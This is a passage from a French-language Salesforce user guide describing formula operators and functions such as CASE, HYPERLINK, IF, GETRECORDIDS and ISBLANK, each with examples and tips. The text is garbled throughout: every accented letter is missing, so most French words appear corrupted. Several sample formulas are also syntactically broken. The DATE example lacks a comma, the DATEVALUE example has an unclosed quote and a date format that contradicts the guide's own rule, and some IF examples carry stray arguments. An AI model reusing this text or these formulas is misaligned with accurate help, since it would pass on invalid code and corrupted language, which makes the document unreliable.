requte est reste ouverte, si le statut a la valeur Nouveau
ou si la priorit est leve. Si vous ouvrez la requte le jour
mme, ce champ affiche un zro.
Exemple de rgle de validation :

(Discount_Rate__c < 0) || (Discount_Rate__c

> 0.40)

La formule de cette rgle de validation affiche le message

d'erreur suivant lorsque le champ personnalis Discount
Rate n'est pas compris entre 0 et 40 % : Le taux de remise
ne peut pas dpasser 40 %.

& (concatnation)
Description :

Relie au moins deux chanes entre elles.

Utilisation :

chane1&chane2 et remplacez chaque chane par des

champs de fusion, expressions ou autres valeurs.

Exemple :

"Dpense-" & Trip_Name__c & "-" &

ExpenseNum__c

Cette formule affiche le mot Dpense- suivi du nom du

voyage et du numro de dpense. Il s'agit ici d'un champ de

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 487

formule texte qui utilise un champ personnalis de numro de

dpense.

ABS
Description :

Calcule la valeur absolue d'un nombre. La valeur absolue d'un

nombre est gale ce nombre sans son signe positif ou ngatif.

Utilisation :

ABS(number) et remplacez la valeur number par un champ

de fusion, une expression ou une autre valeur numrique qui

possde le signe supprimer.
Exemple :

La formule ABS(ExpectedRevenue) calcule la valeur

positive du montant du champ Chiffre d'affaires
prvu, qu'il soit positif ou ngatif.

AND
Description :

Renvoie une rponse TRUE (vrai) si toutes les valeurs sont

exactes et une rponse FALSE (faux) si au moins une valeur
est fausse. Utiliser cette fonction comme alternative
l'oprateur && (AND).

Utilisation :

AND(logical1, logical2,...) et remplacez les valeurs

logical1, logical2,... par celles calculer.

Exemple de champ de formule :

IF(AND(Price<1,Quantity<1),"Petit", null)

Cette formule affiche le mot Petit si le prix et la quantit

sont infrieurs un. Ce champ est vide si la quantit ou le prix
de l'actif est suprieur 1.

BEGINS
Description :

Dtermine si le texte commence avec des caractres spcifiques

et renvoie TRUE (vrai) si c'est le cas. Renvoie FALSE (faux)
dans le cas contraire.

Utilisation :

BEGINS(text, compare_text) et remplacez les valeurs

text, compare_text par les caractres ou champs

comparer.
Exemple :

IF(BEGINS (Product_type__c , "SI"),

"Mdical", "Technique")

Cet exemple renvoie le terme Mdical si le texte de l'un

des champs texte personnaliss Type de produit commence
par SI (soins intensifs). Pour tous les autres produits, cette
syntaxe affiche Technique .

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 488

Conseils :

Cette fonction respecte la casse. Par consquent,

assurez-vous que la casse de la valeur compare_text est
correcte.
Lorsque vous utilisez cette fonction dans une rgle de
validation ou de workflow, les champs vides sont considrs
comme valides. Par exemple, dans le cas d'une rgle de
validation qui teste si le numro de srie d'un actif
commence par 3, tous les actifs dont le numro de srie
est vide sont considrs comme valides.

BLANKVALUE
Description :

Dtermine si une expression contient une valeur et renvoie une expression de substitution
en l'absence de valeur. Si l'expression contient une valeur, cette fonction renvoie la valeur
de l'expression.

Utilisation :

BLANKVALUE(expression, substitute_expression), et remplacez la valeur

expression par l'expression valuer et substitute_expression par la valeur

substituer toutes les valeurs vides.

Exemple :

BLANKVALUE(Department, Undesignated)

Cette formule renvoie la valeur du champ Department s'il contient une valeur. Si le
champ Department est vide, cette formule renvoie le terme Undesignated.
Conseils :

Utilisez BLANKVALUE au lieu de NULLVALUE dans les nouvelles formules.

La fonctionnalit de BLANKVALUE est identtique celle de NULLVALUE,
mais elle prend galement en charge les champs de texte. Salesforce.com continue
de prendre en charge NULLVALUE, il n'est pas ncessaire de modifier les formules
existantes.
Un champ n'est pas vide s'il contient un caractre, un espace vide ou un zro. Par
exemple, un champ qui contient un espace insr l'aide la barre d'espacement n'est
pas vide.
Utilisez la fonction BLANKVALUE pour renvoyer une chane spcifique si le champ
ne contient aucune valeur ; utilisez la fonction ISBLANK pour uniquement vrifier
si le champ contient une valeur.
Si vous utilisez cette fonction avec un champ numrique, elle renvoie uniquement
la chane spcifie si le champ ne contient aucune valeur et s'il n'est pas configur
pour traiter les champs vides comme des zros.

BR
Description :

Insre un saut de ligne dans une chane de texte.

Utilisation :

BR()

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 489

Exemple :

CASE( ShippingCountry , "tats-Unis",

ShippingStreet & BR() & ShippingCity & ", "
& ShippingState & " " & ShippingPostalCode
& BR() & ShippingCountry, "France",
ShippingStreet & BR() & ShippingPostalCode
& " " & ShippingCity & BR() &
ShippingCountry, "etc.")

Ce champ de formule affiche l'adresse postale mise en forme

pour un contact, au format standard, y compris les espaces et
sauts de ligne correctement situs en fonction du pays du
compte.
Conseils :

Ne supprimez pas les parenthses aprs le nom de la

fonction.
Gardez les parenthses vides. Elles ne contiennent pas
ncessairement de valeur.
N'oubliez pas de placer la valeur BR() entre des oprateurs
de concatnation : &.
vitez d'utiliser cette fonction dans les modles de
publipostage.
Cette fonction n'est pas disponible dans les commandes
s-control.

CASE
Description :

Compare une expression donne une srie de valeurs. Si

l'expression est gale cette valeur, la commande renvoie le
rsultat correspondant. Si elle n'est gale aucune valeur, elle
renvoie else_result.

Utilisation :

CASE(expression,value1, result1, value2,

result2,..., or_result) et remplacez expression

par le champ ou la valeur que vous voulez comparer chaque

valeur spcifie. Remplacez chaque valeur et chaque rsultat
par la valeur qui doit tre gale pour renvoyer l'entre du
rsultat. Remplacez else_result par la valeur renvoyer si
l'expression n'est pas gale l'une des valeurs.
Exemple de champ de formule :

Jours d'ouverture des requtes

Utilisez cet exemple de champ de formule personnalis intitul
Jours d'ouverture pour afficher un message diffrent
selon le nombre de jours d'ouverture d'une requte.
CASE(Days_Open__c, 3, "Rattribuer", 2,
"Attribuer la tche", "Conserver")

Le texte suivant s'affiche :

Rattribuer, pour une requte ouverte depuis trois jours.

Attribuer la tche, pour un cas ouvert depuis deux jours.
Conserver, pour toutes les autres requtes.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 490

Dernier mois d'activit

Ce champ de formule affiche le dernier mois d'activit d'un
compte ou Aucun si le compte n'a eu aucune activit.
CASE( MONTH(LastActivityDate) , 1,
"janvier", 2, "fvrier", 3, "mars", 4,
"avril", 5, "mai", 6, "juin", 7, "juillet",
8, "aot", 9, "septembre", 10, "octobre",
11, "novembre", 12, "dcembre", "Aucun")

Exemple de valeur par dfaut :

Taux de remise
Utilisez la formule de la valeur par dfaut suivante pour insrer
un taux de remise diffrent pour une opportunit, sur la base
du service de la personne qui cre l'opportunit :
CASE(User.Department, "Informatique", 0.25,
"Sur site", 0.15, 0)

Dans cet exemple, la formule insre un taux de remise de 25 %

sur toutes les opportunits cres par un utilisateur du service
informatique, ou de 15 % sur toutes les opportunits cres
par un utilisateur du service sur site. Si le crateur ne fait pas
partie de l'un de ces services, un zro est appliqu. Il s'agit d'un
champ de pourcentage personnalis sur les opportunits, qui
utilise le champ d'utilisateur standard Department (service).
Langue du produit
Vous pouvez souhaiter associer un produit sa langue, afin
que vos utilisateurs sachent quel type de documentation ou
d'adaptateur inclure. Utilisez la formule de valeur par dfaut
suivante pour dfinir automatiquement la langue d'un produit
selon le pays de l'utilisateur qui cre le produit. Dans cet
exemple, la valeur par dfaut est Japonais si le pays de
l'utilisateur est Japon et Anglais si le pays de l'utilisateur
est tats-Unis . Si aucune de ces valeurs n'est vraie, la valeur
par dfaut inconnu est insre dans le champ Langue du
produit.
CASE($User.Country , "Japon", "Japonais",
"tats-Unis", "Anglais","inconnu")

Conseils :

Vrifiez que les expressions value1, value2, etc. sont de

type identique.
Vrifiez que les expressions result1, result2, etc. sont
de type identique.
Les fonctions CASE ne peuvent pas intgrer de fonctions
renvoyant un vrai ou un faux. Dans ce cas, faites en sorte

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 491

que les expressions vraies ou fausses renvoient des nombres

comme :
CASE(1, IF(ISPICKVAL (Term__c, "12"), 1,
0), 12 * Monthly_Commit__c,
IF(ISPICKVAL(Term__c, "24"), 1, 0), 24 *
Monthly_Commit__c, 0)

Dans cette formule, Term est un champ de liste de

slection qui est multipli par la validation mensuelle
(Monthly Commit) chaque fois qu'il contient la valeur 1
(vrai).

La valeur else_result est obligatoire.

Les fonctions CASE renvoient une erreur chaque fois que
l'une des expressions renvoie une erreur, et ce, quelle que
soit l'erreur renvoyer. Par exemple, la formule
CASE(Field__c,"Partenaire", "P", "Client",
"C", LEFT(Field__c, -5)) renvoie une erreur mme

si la valeur du champ est Partenaire ou Client car

la dernire instruction est illogique.
Si le champ de votre fonction CASE est vierge, il renvoie
votre valeur else_result. Par exemple, la formule :
CASE(Days_Open__c, 3, "Rattribuer", 2,
"Attribuer la tche", "Conserver") affiche
Conserver si le champ Jours d'ouverture est vide,

s'il contient la valeur 0 ou toute autre valeur diffrente de 2

et 3.
Les fonctions CASE permettent de dterminer si une
valeur de liste de slection est gale une valeur donne.
Par exemple, la formule CASE(Term__c, "12", 12 *
Monthly_Commit__c, "24", 24 *
Monthly_Commit__c, 0) multiplie le montant
Monthly Commit par 12 chaque fois que la valeur Term
est gale 12, ou multiplie le montant Monthly Commit
par 24 chaque fois que la valeur Term est gale 24. Sinon,

le rsultat est gal zro.

CEILING
Description :

Arrondit le nombre au nombre entier le plus proche.

Utilisation :

CEILING(number) et remplacez la valeur number par

l'expression ou le champ arrondir.

Exemple :

Arrondir (valeur littrale)

CEILING(2.5)

Cette formule renvoie 3, c'est--dire 2,5 arrondi au nombre

le plus proche.
Magnitude de tremblement de terre

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 492

La formule CEILING(Magnitude__c) renvoie la valeur d'un

champ de formule nombre, qui calcule la magnitude d'un
tremblement de terre au nombre entier le plus proche.

CONTAINS
Description :

Compare deux arguments de texte et renvoie TRUE (vrai) si

le premier argument contient le second argument. Sinon,
renvoie FALSE (faux).

Utilisation :

CONTAINS(text, compare_text) et remplacez text par

le texte qui contient la valeur de compare_text.

Exemple :

IF(CONTAINS(Product_Type__c , "partie"),
"Parties", "Service")

Cette formule vrifie le contenu d'un champ texte personnalis,

Product_Type, et renvoie Parties pour tout produit
contenant le mot partie . Sinon, elle renvoie Service . Les
valeurs respectent la casse. Par consquent, si un champ
Product_Type contient le mot Partie ou PARTIE ,
cette formule renvoie Services .
Conseils :

Cette fonction respecte la casse. Par consquent,

assurez-vous que la casse de la valeur compare_text est
correcte.
Lorsque vous utilisez cette fonction dans une rgle de
validation ou de workflow, les champs vides sont considrs
comme valides. Par exemple, pour une rgle de validation
qui teste si le numro de srie d'un actif contient A, tous
les actifs avec un numro de srie vide sont considrs
comme valides.
La fonction CONTAINS ne prend pas en charge les listes
de slection multiple. Utilisez INCLUDES pour voir si la
liste de slection multiple a une valeur spcifique.

DATE
Description :

Retourne une valeur de date partir des valeurs d'anne, de

mois et de jour que vous avez saisies. Salesforce.com affiche
une erreur sur la page de dtails si la valeur de la fonction
DATE dans un champ de formule est invalide, telle que le
29 fvrier pour une anne non bissextile.

Utilisation :

DATE(year,month,day) et remplacez la valeur year par

un nombre 4 chiffres, et les valeurs month et day par des

nombres 2 chiffres.
Exemple :

La formule DATE(2009 01, 02) cre le champ de date du

2 janvier 2009

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 493

DATEVALUE
Description :

Renvoie une valeur de date pour une expression de type texte

ou date/heure.

Utilisation :

DATEVALUE(expression) et remplacez expression par

une valeur de date/heure ou une valeur de texte, un champ de

fusion ou une expression.
Exemple :

Date de clture
La formule DATEVALUE(ClosedDate) affiche un champ
de date bas sur la valeur du champ Date/Heure de
clture.
Valeur de date littrale
DATEVALUE("15-11-2009) renvoie 15 novembre 2009

comme valeur de date.

Conseils :

Si le champ rfrenc dans la fonction n'est pas un champ

texte ou date/heure valide, le champ de formule affiche le
message #ERROR!
Lorsque vous saisissez une date comme valeur littrale,
placez-la entre guillemets et utilisez le format suivant :
AAAA-MM-JJ, c'est--dire l'anne code sur quatre
chiffres, le mois sur deux chiffres et le jour sur deux chiffres.
Si la valeur expression ne correspond pas une plage
de dates valide (si la valeur du mois n'est pas comprise entre
01 et 12, par exemple), le champ de formule affiche
#ERROR!
Le calcul des dates et heures requiert toujours le fuseau
horaire de l'utilisateur.

DAY
Description :

Renvoie le jour du mois sous la forme d'un nombre compris

entre 1 et 31.

Utilisation :

DAY(date) et remplacez la valeur date par une valeur ou un

champ de date tel que TODAY().

Exemple :

La formule DAY(Code_Freeze__c) renvoie le jour qui figure

dans la date de gel du code personnalise. Cela ne fonctionne
pas dans les champs date/heure.

EXP
Description :

Renvoie une valeur pour e lev la puissance d'un nombre

que vous avez dfini.

Utilisation :

EXP(number) et remplacez la valeur number par un champ

ou une valeur numrique, par exemple 5.

Personnaliser

Exemple :

Guide de l'utilisateur | Oprateurs et fonctions | 494

Exposant d'une valeur littrale

EXP(3)

Cette formule renvoie la valeur de e la puissance trois.

Intrts composs
Principal__c * EXP(Rate__c * Years__c)

Cette formule calcule les intrts composs partir d'un champ

devise personnalis pour le capital, d'un champ pourcentage
personnalis pour le taux et d'un champ numrique
personnalis pour les annes.

FIND
Description :

Renvoie la position d'une chane au sein d'une chane de texte

reprsente sous la forme d'un nombre.

Utilisation :

FIND(search_text, text[, start_num]) et remplacez

search_text par la chane recherche. Remplacez text par
le champ ou l'expression recherche et remplacez start_num

par le nombre de caractres partir duquel commencer la

recherche, de gauche droite.
Exemple :

Adresse postale
La formule FIND(" ", Street) renvoie la position du
premier espace du champ Street. Vous pouvez utiliser ce
chiffre pour trouver la longueur de l'adresse postale, afin de
sparer le nom de la rue du reste de l'adresse, dans un champ
d'adresse.
Dduction sur les adresses de sites Web
La formule SUBSTITUTE(Email, LEFT(Email,
FIND("@", Email)), "www.") recherche l'emplacement
du signe @ dans l'adresse e-mail d'un utilisateur pour
dterminer la longueur de texte remplacer par www. , afin
d'en dduire l'adresse de son site Web.

Conseils :

Veillez supprimer les crochets ([ et ]) de votre formule

avant de la valider.
Si le champ rfrenc dans votre paramtre text est vide,
le champ de formule affiche 0.
Votre paramtre search_text est sensible la casse et
ne peut contenir aucun caractre gnrique.
Si votre recherche ne renvoie aucun rsultat, le chiffre 0
apparat dans le champ.
Le paramtre start_num est facultatif. Si vous ne saisissez
pas de valeur start_num, la formule utilise la valeur un
ou le premier caractre de la chane.
Si la valeur start_num est infrieure zro, le chiffre 0
apparat dans le champ.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 495

Si la valeur start_num est suprieure la longueur du

texte, le chiffre 0 apparat dans le champ.
Lorsque vous saisissez la valeur du paramtre start_num,
n'oubliez pas que certains champs, tels que Site Web,
sont uniques, car le texte http:// est automatiquement
ajout au dbut du texte que vous saisissez.
Le premier caractre d'une chane est dsign comme un
plutt que zro.

FLOOR
Description :

Renvoie un nombre arrondi au nombre entier infrieur le plus

proche.

Utilisation :

FLOOR(number) et remplacez la valeur number par un champ

ou une valeur numrique, par exemple 5 245.

Exemple :

Montants des commissions

La formule FLOOR(commission__c) arrondit la commission
au nombre entier le plus proche.
ge du contact
FLOOR((TODAY()-Birthdate)/365,2425)

Utilisez cette formule pour calculer l'ge d'une personne sur

la base du champ standard Birthdate. Le systme soustrait
la valeur Date d'anniversaire de la personne de la date
d'aujourd'hui, ce qui renvoie le nombre de jours couls depuis
cette valeur Date d'anniversaire. Ce nombre est ensuite
divis par le nombre de jours dans une anne, puis arrondi au
nombre entier infrieur le plus proche.

GETRECORDIDS
Description :

Renvoie un tableau des ID des enregistrements slectionns

dans une liste, telle qu'une vue de liste ou une liste associe.

Utilisation :

{!GETRECORDIDS(object_type)} et remplacez
object_type par une rfrence l'objet personnalis ou

l'objet standard des enregistrements rcuprer.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 496

Exemple de bouton personnalis :

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var records =
{!GETRECORDIDS($ObjectType.Case)}; var
newRecords = [];
if (records[0] == null) {
alert("Slectionnez au moins une ligne") }
else { for (var n=0; n<records.length; n++)
{ var c = new sforce.SObject("Case"); c.id
= records[n]; c.Status = "New";
newRecords.push(c); }
result =
sforce.connection.update(newRecords);
window.location.reload(); }

Dans cet exemple, tous les enregistrements de requte

slectionns sont mis jour avec le statut Nouveau. Pour
paramtrer cette option dans votre entreprise, crez un bouton
de liste personnalis pour les requtes dotes des attributs
suivants :

Type d'affichage a la valeur Bouton de liste

Comportement a la valeur Excution de JavaScript
Source de contenu a la valeur Excuter la fonction

OnClick JavaScript
Collez l'exemple de code ci-dessus dans le contenu de votre
bouton personnalis. Enfin, ajoutez le bouton de liste la
prsentation de page contenant la liste associe Requtes,
comme la page des comptes ou des opportunits. Les
utilisateurs peuvent slectionner n'importe quel nombre de
requtes dans la liste associe et cliquer sur le bouton de liste,
afin de changer simultanment le statut de ces requtes. Notez
la vrification records[0] == null, qui affiche un message
lorsque les utilisateurs ne slectionnent pas au moins un
enregistrement dans la liste.
Conseils :

Utilisez les variables globales pour accder aux champs de

fusion spciaux des commandes s-control, des boutons
personnaliss et des liens.
Les activits sont des objets spciaux. Utilisez
{!GETRECORDIDS($ObjectType.Task)} lorsque vous
crez un bouton de liste de tches. Utilisez
{!GETRECORDIDS($ObjectType.Event)} lorsque vous
crez un bouton de liste d'vnements.
Cette fonction n'est disponible que pour les boutons
personnaliss, les liens et les commandes s-control.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 497

GETSESSIONID
Description :

Renvoie l'ID de session de l'utilisateur.

Utilisation :

GETSESSIONID

Exemple :

La formule
HYPERLINK("https://www.myintegration.com?sId="&
GETSESSIONID() & "?&rowID="&Name &
"action=CreateTask","Crer une demande de
runion") cre un lien vers une application extrieure

Salesforce.com, en lui transmettant les paramtres de manire

ce qu'elle puisse se connecter Salesforce.com via l'API et
crer l'vnement ncessaire.

HTMLENCODE
Description :

Code le texte et les valeurs de champ de fusion utiliser dans

le code HTML, en remplaant des caractres rservs au
HTML, comme le signe suprieur (>), avec les quivalents
d'entit HTML, tels que &gt;.

Utilisation :

{!HTMLENCODE(text)} et remplacez text par le champ

de fusion ou la chane de texte qui contient les caractres

rservs.
Exemple :

Si le champ de fusion foo__c contient <B>Enter the

user's name<b>, {!HTMLENCODE(foo__c)} donne :
&lt;B&gt;Enter the user&#39;s name&lt;/b&gt;

HYPERLINK
Description :

Cre un lien l'URL spcifie, que l'on peut atteindre partir

du texte dfini.

Utilisation :

HYPERLINK(url, friendly_name [,target]) et

remplacez url par l'adresse Web. Remplacez friendly_name
par le texte du lien et remplacez target (facultatif ) par la

fentre ou le cadre d'affichage du contenu.

Exemple :

Cration d'vnements
La formule
HYPERLINK("00U/e?retURL=%2F006x0000001T8Om&what_id="
& Id, "Crer un vnement") ajoute un lien appel

Crer un vnement qui, lorsque vous cliquez dessus, cre

un vnement associ l'opportunit actuelle.
Composition du numro
La formule
HYPERLINK("http://servername/call?id=" & Id
& "&phone=" & Phone, Phone) cre un champ de

numro de tlphone associ un lien. Lorsque vous cliquez

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 498

dessus, le champ compose automatiquement le numro en

question. Dans cet exemple, remplacez les valeurs
servername et call, respectivement par le nom de votre
outil de numrotation et la commande qu'il utilise pour
composer le numro. Le champ de fusion Id insre l'identifiant
de l'enregistrement du contact, de la piste ou du compte. Le
premier champ de fusion Phone transmet l'outil de
numrotation le numro appeler et le dernier champ de
fusion Phone utilise la valeur du champ Tlphone comme
texte associ un lien, sur lequel l'utilisateur clique pour
composer le numro.
Conseils :

Les champs de formule lien hypertexte sont de type texte.

Mettez l'URL et le protocole entre guillemets, comme
dans HYPERLINK("http://www.cnet.com",
"cnet").
vitez d'utiliser les fonctions texte LEN, LEFT ou
RIGHT dans les rsultats des fonctions HYPERLINK.
Lorsque vous crez un lien vers des pages Salesforce.com,
utilisez un lien relatif pour les formules de lien hypertexte,
par exemple 00U/e?retURL=%... , sauf si vous voulez
ajouter le champ de formule une prsentation de
recherche. Utilisez l'URL complte, y compris le nom de
serveur et https://, dans une formule de lien hypertexte
pour l'ajouter une prsentation de recherche. Les champs
de formule ne sont pas disponibles dans les prsentations
des rsultats de recherche.
Utilisez la variable $Api pour rfrencer les URL d'API.
Veillez supprimer les crochets ([ et ]) de votre formule
avant de la valider.
Le paramtre target est facultatif. Si vous ne prcisez
pas de paramtre target, le lien s'ouvre dans une nouvelle
fentre de navigation. Voici certains paramtres target
standard :
_blank
Affiche le lien dans une nouvelle fentre sans nom.
_self
Affiche le lien dans le mme cadre ou dans la mme
fentre que l'lment qui y fait rfrence.
_parent
Affiche le lien dans l'ensemble de cadres parent
immdiat du cadre actuel. Cette valeur est identique
_self si le cadre actuel n'a pas de parent.
_top
Affiche le lien dans la fentre d'origine, en effaant
tous les autres cadres. Cette valeur est identique
_self si le cadre actuel n'a pas de parent.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 499

Pour plus d'informations sur les balises HTML de base,

consultez une rfrence HTML sur Internet.
La fonction HYPERLINK est disponible ds lors que vous
pouvez dfinir une formule, l'exception des valeurs par
dfaut, des mises jour de champs, des commandes
s-control, des rgles de validation, des processus
d'approbation, des boutons et liens personnaliss et des
rgles de workflow.

IF
Description :

Dtermine si les expressions sont vraies ou fausses. Renvoie

une valeur donne si l'expression est vraie (true) et une autre
valeur si elle est fausse (false).

Utilisation :

IF(logical_test, value_if_true, value_if_false)

et remplacez logical_test par l'expression valuer,
value_if_true par la valeur renvoyer si l'expression est
True (vraie) et value_if_false par la valeur renvoyer si

l'expression est False (fausse).

Exemple de champ de formule :

Arrirs
IF(AND(Payment_Due_Date__c < TODAY(),
Payment_Status__c ="IMPAY") , "RETARD DE
RGLEMENT", null)

Cette formule dtermine si la date d'chance du paiement

est passe et si le statut du paiement est IMPAY. Si c'est le
cas, elle renvoie le texte RETARD DE RGLEMENT et
sinon, elle laisse le champ vide. Cet exemple utilise un champ
de date personnalis, appel Date de rglement, et un
champ texte personnalis, appel Statut du rglement,
des contrats.
Insrer le taux d'imposition
Utilisez cette formule de valeur par dfaut pour dfinir le taux
d'imposition sur un actif en fonction de la ville de l'utilisateur.
Crez un champ de pourcentage personnalis avec les valeurs
par dfaut suivantes :
IF($User.City
IF($User.City
IF($User.City
IF($User.City
IF($User.City
) ) ) ) )

=
=
=
=
=

"Napa", 0.0750,
"Paso Robles", 0.0725,
"Sutter Creek", 0.0725,
"Los Olivos", 0.0750,
"Livermore", 0.0875, null

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 500

Exemple de bouton personnalis :

{! IF(Account.BillingCountry = "tats-Unis",
"http://maps.google.com/maps?q=
"&Account.BillingStreet&
"+"&Account.BillingCity&"+
"&Account.BillingState&"+
"&Account.BillingCountry,
(IF(Account.BillingCountry = "Royaume-Uni",
"http://maps.google.co.uk/maps?q=
"&Account.BillingStreet &
"+"&Account.BillingCity&"+
"&Account.BillingCountry,
"http://maps.google.com"))) }

Cet exemple utilise la fonction IF (si) pour dterminer si une

adresse se trouve aux tats-Unis ou au Royaume-Uni, afin
d'utiliser le type de carte Google adquat pour afficher
l'adresse.
Conseils :

Vrifiez que les expressions value_if_true et

value_if_false sont de type identique.
Lorsque vous utilisez une fonction IF avec la variable
$Profile.UserType pour dterminer le type de licence
Salesforce.com d'un utilisateur, employez les valeurs
suivantes :
-

Standard pour Salesforce

PowerPartner pour l'utilisateur PRM
CustomerSuccess pour l'utilisateur du portail Client
PowerCustomerSuccess pour le responsable du portail
Client

Par exemple, utilisez les formules suivantes pour dterminer

si l'utilisateur connect possde le type de licence entre
guillemets :
IF( ISPICKVAL($Profile.UserType
,"Standard"), 100, 0,1)
IF( ISPICKVAL($Profile.UserType
,"PowerPartner"), 100, 0,1)
IF( ISPICKVAL($Profile.UserType
,"CustomerSuccess"), 100, 0,1)

Remarque: Les champs de fusion $Profile ne sont

disponibles que dans les ditions Enterprise
Edition, Unlimited Edition et Developer Edition.

IMAGE
Description :

Insre une image contenant un autre texte, dont la hauteur et

la largeur sont diffrentes.

Personnaliser

Utilisation :

Guide de l'utilisateur | Oprateurs et fonctions | 501

IMAGE(image_url, alternate_text, height,

width), et remplacez image_url par le chemin complet
d'accs l'image, alternate_text par la chane de texte

que vous souhaitez voir s'afficher lorsque vous survolez l'image,

height par la taille verticale de l'image en pixels et width
par la taille horizontale de l'image en pixels.
Exemple :

HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,

IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

Cette formule affiche une icne Yahoo! Messenger indiquant

si la personne est connecte au service. Cliquez sur cette icne
pour dmarrer une conversation Yahoo! Messenger avec cette
personne. Cet exemple utilise le champ texte personnalis du
nom Yahoo (Yahoo Name) sur les contacts o vous pouvez
conserver l'ID du contact Yahoo! Messenger.
Conseils :

Les paramtres de hauteur et de largeur sont facultatifs.

Utilisez une chane de texte pour remplacer les paramtres
image_url et alternate_text. Mettez chaque chane
de texte entre guillemets.
Utilisez des chiffres pour remplacer les paramtres de
hauteur et de largeur.
Ajoutez des images l'onglet Documents si vous souhaitez
les afficher ailleurs. Par exemple, stockez l'image d'un
produit dans le dossier d'un document, copiez l'URL
d'accs au document, puis collez-la dans le paramtre
image_url d'un champ de formule dans l'onglet Produits.
Si vous utilisez Internet Explorer, vous devrez peut-tre
modifier les paramtres de scurit pour qu'aucun message
d'avertissement n'apparaisse lorsque des images utilisent
le protocole HTTP. Pour plus d'informations sur la
modification des paramtres de scurit, reportez-vous
l'aide en ligne d'Internet Explorer.
La fonction GETSESSIONID ne peut pas faire partie
des arguments de la fonction IMAGE.
La fonction IMAGE est disponible ds lors que vous
pouvez dfinir une formule, l'exception des valeurs par
dfaut, des mises jour de champs, des commandes
s-control, des rgles de validation, des processus
d'approbation et des rgles de workflow.

INCLUDE
Description :

Renvoie le contenu d'un snippet de commande s-control.

Utilisez cette fonction pour rutiliser un code commun dans
plusieurs commandes s-control.

Utilisation :

{!INCLUDE(source, [inputs])} et remplacez source

par le snippet de commande s-control auquel vous souhaitez

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 502

faire rfrence. Remplacez inputs par les informations que

vous devez transmettre au snippet.
Exemple de commande S-Control :

Insertion du snippet d'en-tte

<html> <body> {!
INCLUDE($SControl.Header_Snippet, [title =
"Mon Titre", theme = "moderne"])} </body>
</html>

Cet exemple rfrence un extrait de code qui fournit l'en-tte

d'une page que vous avez cre pour l'affichage dans un onglet
Web. Il affiche le titre de page Mon Titre . Utilisez la
variable globale $SControl pour rfrencer une commande
custom s-control.
Insertion de paramtres d'entre
Utilisez les deux exemples suivants pour savoir comment crer
un snippet rutilisable et l'inclure dans une commande
s-control.
<h2 class={!$Request.titleTheme}.title>
{!$Request.titleText}</h2>

Ce snippet ncessite deux paramtres d'entre : titleTheme

et titleText. Il s'agit d'une balise HTML rutilisable qui
prsente un titre et un modle de page en fonction des
paramtres d'entre. Ensuite, crez une commande s-control
qui comprend ce snippet :
<html> <head> </head> <body> {!
INCLUDE($SControl.Title_Snippet, [titleTheme
= "moderne", titleText = "Mon exemple de
titre"]) }
... Insert your page specific content here
...
</body> </html>

Cette commande s-control utilise le snippet Title_Snippet

pour afficher le titre de la page Mon exemple de titre et le
modle moderne. Remplacez Insert your page specific
content here par votre propre contenu HTML et utilisez
la commande s-control comme source d'un onglet Web pour
crer vos propres pages dans Salesforce.com.
Conseils :

Cette fonction fait rfrence un snippet de commande

s-control qu'elle ne copie pas. Par consquent, elle excute
toujours le contenu le plus rcent de ce snippet. N'oubliez
pas que toute modification du snippet de commande
s-control a un impact sur les fonctions INCLUDE qui s'y
rfrent.
Utilisez la variable globale $Request pour accder toutes
les informations contenues dans le snippet.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 503

Cette fonction n'est disponible que pour les boutons

personnaliss, les liens et les commandes s-control.

INCLUT
Description :

Dtermine si une valeur choisie dans un champ de liste de slection multiple

est gale un texte littral que vous spcifiez.

Utilisation :

INCLUDES(multiselect_picklist_field, text_literal) et remplacez

multiselect_picklist_field par le nom du champ de fusion pour la liste
de slection multiple, puis remplacez text_literal par la valeur de liste de

slection multiple souhaite entre guillemets.

Exemples :

INCLUDES(Hobbies__c, "Golf") renvoie VRAI si l'une des valeurs

slectionnes le champ de liste de slection multiple personnalis Hobbies est

Golf.
Conseils :

L'expression text_literal doit tre de type texte et place entre guillemets.

Elle ne peut pas tre un champ de fusion ni le rsultat d'une fonction.
Salesforce.com renvoie une erreur si l'un des vnements suivants se produit :
-

Vous ne fournissez pas d'expression text_literal.

Vous fournissez une expression text_literal vide, telle que "" ou "
".

Pour dterminer si un champ de liste de slection multiple est vide, utilisez

ISNULL.
Pour vrifier si la valeur prcdente d'un champ de liste de slection multiple
inclut une valeur spcifique, utilisez la fonction PRIORVALUE dans la
fonction INCLUDES. Par exemple :
INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal )

ISBLANK
Description :

Dtermine si une expression contient une valeur et renvoie

TRUE en l'absence de valeur. Si l'expression contient une
valeur, cette fonction renvoie FALSE (faux).

Utilisation :

ISBLANK(expression) et remplacez la valeur expression

par l'expression valuer.

Exemple :

ISBLANK(Department)

Cette formule renvoie TRUE si le champ Department est

vide, FALSE dans le cas contraire.
Conseils :

Utilisez ISBLANK au lieu de ISNULL dans les nouvelles

formules. La fonctionnalit de ISBLANK est identtique

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 504

celle de ISNULL, mais elle prend galement en charge

les champs de texte. Salesforce.com continue de prendre
en charge ISNULL, il n'est pas ncessaire de modifier les
formules existantes.
Un champ n'est pas vide s'il contient un caractre, un
espace vide ou un zro. Par exemple, un champ qui contient
un espace insr l'aide la barre d'espacement n'est pas
vide.
Utilisez la fonction BLANKVALUE pour renvoyer une
chane spcifique si le champ ne contient aucune valeur ;
utilisez la fonction ISBLANK pour uniquement vrifier
si le champ contient une valeur.
Si vous utilisez cette fonction avec un champ numrique,
